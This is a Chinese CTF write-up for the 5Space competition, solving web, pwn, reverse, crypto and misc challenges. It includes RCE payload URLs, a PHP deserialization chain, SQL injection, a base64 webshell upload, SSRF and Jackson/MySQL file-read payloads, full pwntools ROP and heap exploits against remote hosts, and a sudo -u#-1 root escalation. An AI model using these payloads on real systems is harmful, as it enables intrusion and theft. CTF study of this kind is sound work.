5Space Write-Up

抄一下队友们的wp

Web:

hate-php

取反system(ls)

http://121.36.74.163/?code=(~%8C%86%8C%8B%9A%92)((~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F))

laravel

在ImportConfigurator.php中的__destruct方法中。可以将parent转为其他类。从而触发call魔法函数。

继续找call魔法函数类

在Generator类中发现call魔法函数。然后把参数和要调用的函数名。传入call_user_func_array可以rce。

它这里又调用了getFormatter

    public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }
        foreach ($this->providers as $provider) {
            if (method_exists($provider, $formatter)) {
                $this->formatters[$formatter] = array($provider, $formatter);

                return $this->formatters[$formatter];
            }
        }
        throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
    }

这里就是将call调用不存在的函数名。去$this->formatters数组里取值。然后返回 就要构造一个[“调用不存在的函数名”=>system”]

最终exp:

<?php
namespace Symfony\Component\Routing\Loader\Configurator{
	class CollectionConfigurator{
		protected $parent;
		protected $collection;
		public function __construct($parent,$collection){
			$this->parent = $parent;
			$this->collection = $collection;
		}
	}
}

namespace Faker{
	class Generator{
		protected $formatters;
		public function __construct($formatters){
			$this->formatters=$formatters;
		}
	}
}
namespace{

    use Faker\Dispatcher;
    use Symfony\Component\Routing\Loader\Configurator\CollectionConfigurator;
    $a=new Faker\Generator(array('addCollection'=>'system'));
    $b=new CollectionConfigurator($a,'cat /flag*');

    echo urlencode(serialize($b));

}

美团外卖

daochu.php有注入

http://119.3.183.154/daochu.php?type=1&imei="union%20select%203,(select%20hints%20from%20hint),2,3,4,5%23
####xls下载下来的内容
see_the_dir_956c110ef9decdd920249f5fed9e4427

发现lib目录在956c110ef9decdd920249f5fed9e4427下,且lib下WebUploader组件存在文件上传漏洞 ,参考 https://9finger.cn/2020/03/06/CNVD-2018-26054%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/

POST /956c110ef9decdd920249f5fed9e4427/lib/webuploader/0.1.5/server/preview.php HTTP/1.1
Host: 119.3.183.154
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=ma3l32t08vonku0dqk8vuig3q4
DNT: 1
X-Forwarded-For: 8.8.8.8
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 298
data:image/jpg;base64,PD9waHANCiAgICBpZihpc3NldCgkX1JFUVVFU1RbJ2NtZCddKSl7DQogICAgICAgICAgICBlY2hvICI8cHJlPiI7DQogICAgICAgICAgICAkY21kID0gKCRfUkVRVUVTVFsnY21kJ10pOw0KICAgICAgICAgICAgc3lzdGVtKCRjbWQpOw0KICAgICAgICAgICAgZWNobyAiPC9wcmU+IjsNCiAgICAgICAgICAgIGRpZTsNCiAgICB9DQogICAgcGhwaW5mbygpOw0KPz4=
### 返回
HTTP/1.1 200 OK
Date: Wed, 24 Jun 2020 11:49:09 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 186
Connection: close
Content-Type: text/html; charset=utf-8
!!!! Congratulations on infiltrating here, but it's a pity that someone has infiltrated and left a Trojan, do not continue here , please see the e98a4571cf72b798077d12d6c94629.php !!!!!

访问e98a4571cf72b798077d12d6c94629.php可以读文件

http://119.3.183.154/956c110ef9decdd920249f5fed9e4427/lib/webuploader/0.1.5/server/e98a4571cf72b798077d12d6c94629.php?file=/flag

##

do you know

QUERY_STRING不会URL解码

非预期一把梭了

http://121.36.64.91/index.php?a=2&b=2&url=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%66%6c%61%67%2e%70%68%70

zzm’s blog

javaweb jackson打mysql任意文件读

vps都收到请求了。读不到文件

http://121.36.46.83/?query={%22id%22:[%22com.mysql.cj.jdbc.admin.MiniAdmin%22,%22jdbc:mysql://ip:port/root%22]}

能试的都试了

唉。可惜了

Reverse:

nop

看汇编可以看到输入的数字会经过+2 +0xcccccccc +1

继续运行发现jmp直接跳转下一个jmp输出wrong,所以把jmp patch

计算input+1+1+0xcccccccc+1=0x8048765,得到输入为993507990

包裹flag即flag

flag{993507990}

Pwn:

twice

第一次溢出泄露canary,第二次溢出利用函数本身的leave ret和leave ret这个gadget达到栈转移,转移至事先在栈上伪造的栈帧进行rop。第一次rop泄露地址,调用puts把libc泄露出来,泄露出来的信息查得目标机libc版本为2.23,然后跳回main函数。第二次回到main函数直接把onegadget覆盖到ret addr,在栈上弄些0满足onegadget约束条件getshell。

exp:

from pwn import *
import sys
context(log_level='debug',os='linux',arch='i386')
myelf = ELF("./pwn")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
​
#io = process(myelf.path)#,env={"LD_PRELOAD":'./libc_32.so.6'})
io = remote('121.36.59.116', 9999)
​
'''gdb_text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
gdb_libc_base = int(os.popen("pmap {}| grep libc | awk '{{print $1}}'".format(io.pid)).readlines()[0], 16)
'''
# debug function
def debug(addr=0,cmd='',PIE=False):
    if PIE: addr = gdb_text_base + addr
    log.warn("breakpoint_addr --> 0x%x" % addr)
    gdb.attach(io,"b *{}\nc\n".format(hex(addr))+cmd)
def p():
    gdb.attach(io)
    raw_input()
def main():
    leave_ret= 0x400879
    pop_rdi = 0x400923
    p6 = 0x0040091A
    puts = 0x601020
    read = 0x601038
    m = 0x000000000040087B
    mv_ax_pop_bp_ret = 0x000004007a4 #mov eax, dword ptr [rbp - 4] ; pop rbp ; ret
    call = 0x00400900
    io.recvuntil('>')
    #debug(pop_rdi)
    io.send('a'*89)
    io.recvuntil('a'*89)
    canary = u64('\x00'+io.recv(7))
    log.success(hex(canary))
    stack = u64(io.recv(6).ljust(8,'\x00'))
    log.success(hex(stack))
    fake_stack_addr = stack  -0x70 + 0x8
    log.success(hex(fake_stack_addr))
    # pop rbx,rbp,r12,r13,r14,r15
    # rbx should be 0,
    # rbp should be 1,enable not to jump
    # r12 should be the function we want to call
    # rdi=edi=r15d
    # rsi=r14
    # rdx=r13
    '''fake = p64(p6)
                fake += p64(0)#bx
                fake += p64(1)#bp
                fake += p64(read)#12
                fake += p64(8)#13#
                fake += p64(puts)#14
                fake += p64(1)#15'''
    fake = p64(pop_rdi)
    fake += p64(read)
    fake += p64(0x00000000004005C0)
    fake += p64(m)
    payload = '/bin/sh\x00'
    payload += fake
    payload += p64(call)
    payload = payload.ljust(0x58,'A')
    payload += p64(canary)
    payload += p64(fake_stack_addr - 8)#bp
    payload += p64(leave_ret)#sp
​
    io.recvuntil('>')
    io.send(payload)
    sleep(1)
    io.recv(8)
    read_Addr = u64(io.recv(6).ljust(8,'\x00'))
    log.success(hex(read_Addr))
    io.recvuntil('>')
    #debug(pop_rdi)
    io.send('a'*89)
    io.recvuntil('a'*89)
​
    io.recvline()
    
    '''
    0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL
​
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL
​
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
​
    '''
    one = read_Addr - libc.symbols['read'] + 0x4526a
    
    payload = p64(0)
    payload += p64(0x4525a)
    payload += p64(0)
    payload += p64(0)
    payload += p64(0)
    payload += p64(0)
    payload += p64(0)
    payload += p64(0)
    payload += p64(0)
    payload += p64(0)
    payload += p64(0)
​
    payload = payload.ljust(88)
    io.send(payload+p64(canary)+p64(stack-112)+p64(one))
if __name__ == '__main__':
    main()

of

源码里面明显的free操作没有将指针清零,但是有个随机数cookie,通过edit可以爆破。但是在远程调试中发现服务器端似乎没有检查cookie,所以直接tcache修改freehook一把梭。

exp:

from pwn import *
context(log_level='debug',os='linux',arch='amd64')
myelf = ELF("./of")
ld    = ELF("./ld-2.27.so")
​
io = remote('121.36.74.70', 9999)
libc = ELF('./libc-2.27.so')
#io     = process(argv=[ld.path,myelf.path],env={"LD_PRELOAD" : libc.path})
'''gdb_text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
gdb_libc_base = int(os.popen("pmap {}| grep libc | awk '{{print $1}}'".format(io.pid)).readlines()[0], 16)
'''
# debug function
def debug(addr=0,cmd='',PIE=True):
    if PIE: addr = gdb_text_base + addr
    log.warn("breakpoint_addr --> 0x%x" % addr)
    gdb.attach(io,"b *{}\nc\n".format(hex(addr))+cmd)
def p():
    gdb.attach(io)
    raw_input()
def choice(c):
    io.recvuntil('choice:')
    io.sendline(str(c))
def add(idx):
    choice(1)
    io.recvuntil('Index: ')
    io.sendline(str(idx))
def delete(idx):
    choice(4)
    io.recvuntil('Index: ')
    io.sendline(str(idx))
def show(idx):
    choice(3)
    io.recvuntil('Index: ')
    io.sendline(str(idx))
def edit(idx,content):
    choice(2)
    io.recvuntil('Index: ')
    io.sendline(str(idx))
    io.recvuntil('Content: ')
    io.send(content)
def guess_one_byte(pay): 
    pay = 'A'*0x98 + pay
    for i in range(0x100):  
        edit(0,pay+chr(i))
        choice(2)
        io.recvuntil('Index: ')
        io.sendline('0')
        if 'Content: ' in io.recv(len('Content: ')):
            io.send('yeah!')
            return chr(i)
        else:
            delete(0)
            add(0)
​
​
​
def main():
    for i in range(9):
        add(i)
    for i in range(8):
        delete(i+1)
    delete(0)
    show(0)
    io.recvuntil('Content: ')
    leak = u64(io.recv(6).ljust(8,'\x00'))
    libc_base = leak - (0x00007f797f883ca0-0x7f797f498000)
    '''
    0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL
​
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL
​
0x10a38c    execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
​
'''
    one = libc_base + libc.symbols['system']
    mlh = libc_base + libc.symbols['__free_hook']
​
    for i in range(9):
        add(i)
    delete(0)
    delete(0)
    edit(0,p64(mlh))
    add(0)
    edit(0,'/bin/sh\x00')
    add(1)
    edit(1,p64(one))
    delete(0)
​
    io.interactive()
if __name__ == '__main__':
    main()

pwnme

漏洞点两个,add函数有个offbynull,但是没啥用,edit函数可以直接溢出。

是个armpwn,由于本机没有相应的模拟环境,加上那个libc我也看不懂,只能瞎猜。

猜测的这个堆的管理机制应该和glibc差不多,于是就申请几个堆块试了一下看了看回显发现还是有不一样的,但是伪造堆块能过关,于是直接暴力的把fd指向bss,试一试能不能fastbin打通。

利用思路就是把fd指针指向存储heap指针的bss段,其中还有保存的size指针。(这里逐位试了一下偏移,发现-10处偏移能构造伪造堆块头,还不清楚为什么,因为并没有本地调试完全盲打),这样就能把堆块指针数组覆盖,达到任意内存地址写,任意内存地址读(这里的偏移我也是很迷,不知道为啥这个偏移能打通,可能这就是玄学吧)。

将heaplst元素修改成got表地址,show的时候就可以泄露地址,edit就可以劫持got表,这里选择的是free,改成system,然后free一个binsh就ok了。

exp:

from pwn import *
context(log_level='debug',os='linux',arch='amd64')
myelf = ELF("./a")
#ld    = ELF("./ld-2.27.so")
​
io = remote('121.36.58.215', 1337)
libc = ELF('/lib/libuClibc-1.0.34.so')
#io     = process(argv=[ld.path,myelf.path],env={"LD_PRELOAD" : libc.path})
'''
gdb_text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
gdb_libc_base = int(os.popen("pmap {}| grep libc | awk '{{print $1}}'".format(io.pid)).readlines()[0], 16)
'''
# debug function
def debug(addr=0,cmd='',PIE=True):
    if PIE: addr = gdb_text_base + addr
    log.warn("breakpoint_addr --> 0x%x" % addr)
    gdb.attach(io,"b *{}\nc\n".format(hex(addr))+cmd)
def p():
    gdb.attach(io)
    raw_input()
def choice(c):
    io.recvuntil('>>> ')
    io.sendline(str(c))
def add(l,tag):
    choice(2)
    io.recvuntil('Length:')
    io.sendline(str(l))
    io.recvuntil('Tag:')
    io.send(tag)
def delete(idx):
    choice(4)
    io.recvuntil('Tag:')
    io.sendline(str(idx))
def show():
    choice(1)
def edit(idx,l,tag):
    choice(3)
    io.recvuntil('Index:')
    io.sendline(str(idx))
    io.recvuntil('Length:')
    io.sendline(str(l))
    io.recvuntil('Tag:')
    io.send(tag)
def main():
    fd = 0x2106c -8 -2
​
    free = 0x00021038
    add(0x40,'A'*0x39)#0
    add(0x40,'B'*0x39)#1
    add(0x40,'cccc')#2
    add(0x40,'/bin/sh\x00')#3
    delete(1)
​
    edit(0,0x88,'X'*0x40+p32(0x48)+p32(0x48)+p32(fd)+p32(fd))
    
    add(0x40,'sssssssss')#1
    add(0x40,'AA' +'Z'*34 + p32(free)*4)#4
    show()
    io.recvuntil('0 : ')
    leak = u32(io.recv(4))
    log.success(hex(leak))
    libc_base = leak - libc.symbols['free']
    system = libc_base + libc.symbols['system']
​
    edit(0,4,p32(system))
​
    io.interactive()
if __name__ == '__main__':
    main()

##

Crypto:

rosb

rsa共模攻击,脚本一把梭

import sys
import binascii
sys.setrecursionlimit(1000000)
def egcd(a, b):
    if a == 0:
      return (b, 0, 1)
    else:
      g, y, x = egcd(b % a, a)
      return (g, x - (b // a) * y, y)
def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
      raise Exception('modular inverse does not exist')
    else:
      return x % m

c1=0x2f6546062ff19fe6a3155d76ef90410a3cbc07fef5dff8d3d5964174dfcaf9daa003967a29c516657044e87c1cbbf2dba2e158452ca8b7adba5e635915d2925ac4f76312feb3b0c85c3b8722c0e4aedeaec2f2037cc5f676f99b7260c3f83ffbaba86cda0f6a9cd4c70b37296e8f36c3ceaae15b5bf0b290119592ff03427b80055f08c394e5aa6c45bd634c80c59a9f70a92dc70eebec15d4a5e256bf78775e0d3d14f3a0103d9ad8ea6257a0384091f14da59e52581ba2e8ad3adb9747435e9283e8064de21ac41ab2c7b161a3c072b7841d4a594a8b348a923d4cc39f02e05ce95a69c7500c29f6bb415c11e4e0cdb410d0ec2644d6243db38e893c8a3707
n=0xa1d4d377001f1b8d5b2740514ce699b49dc8a02f12df9a960e80e2a6ee13b7a97d9f508721e3dd7a6842c24ab25ab87d1132358de7c6c4cee3fb3ec9b7fd873626bd0251d16912de1f0f1a2bba52b082339113ad1a262121db31db9ee1bf9f26023182acce8f84612bfeb075803cf610f27b7b16147f7d29cc3fd463df7ea31ca860d59aae5506479c76206603de54044e7b778e21082c4c4da795d39dc2b9c0589e577a773133c89fa8e3a4bd047b8e7d6da0d9a0d8a3c1a3607ce983deb350e1c649725cccb0e9d756fc3107dd4352aa18c45a65bab7772a4c5aef7020a1e67e6085cc125d9fc042d96489a08d885f448ece8f7f254067dfff0c4e72a63557
e1=0xf4c1158f
c2=0xd32dfad68d790022758d155f2d8bf46bb762ae5cc17281f2f3a8794575ec684819690b22106c1cdaea06abaf7d0dbf841ebd152be51528338d1da8a78f666e0da85367ee8c1e6addbf590fc15f1b2182972dcbe4bbe8ad359b7d15febd5597f5a87fa4c6c51ac4021af60aeb726a3dc7689daed70144db57d1913a4dc29a2b2ec34c99c507d0856d6bf5d5d01ee514d47c7477a7fb8a6747337e7caf2d6537183c20e14c7b79380d9f7bcd7cda9e3bfb00c2b57822663c9a5a24927bceec316c8ffc59ab3bfc19f364033da038a4fb3ecef3b4cb299f4b600f76b8a518b25b576f745412fe53d229e77e68380397eee6ffbc36f6cc734815cd4065dc73dcbcb
e2=0xf493f7d1

s = egcd(e1, e2)
s1 = s[1]
s2 = s[2]

if s1<0:
   s1 = - s1
   c1 = modinv(c1, n)
elif s2<0:
   s2 = - s2
   c2 = modinv(c2, n)
m=(pow(c1,s1,n)*pow(c2,s2,n)) % n
print(m)
print (binascii.unhexlify(hex(m)[2:].strip("L")))

##

Misc:

loop

解压多次后发现有规律,一直解压就有flag
while true
 do
  7z x zipfile && rm zipfile && 7z x tarfile && rm tarfile
 done

philosopher

用exe资源查看器,发现flag图片

导出修一下png头

run

下载exe解压得到一个exe和docx

双击新的run.exe得到一个tiff图片

010打开该tiff末尾有一段字符,根据图片代码组合

即flag

麒麟系统

估计非预期?

sudo –u#-1 cat /root/flag

 

发表评论

电子邮件地址不会被公开。 必填项已用*标注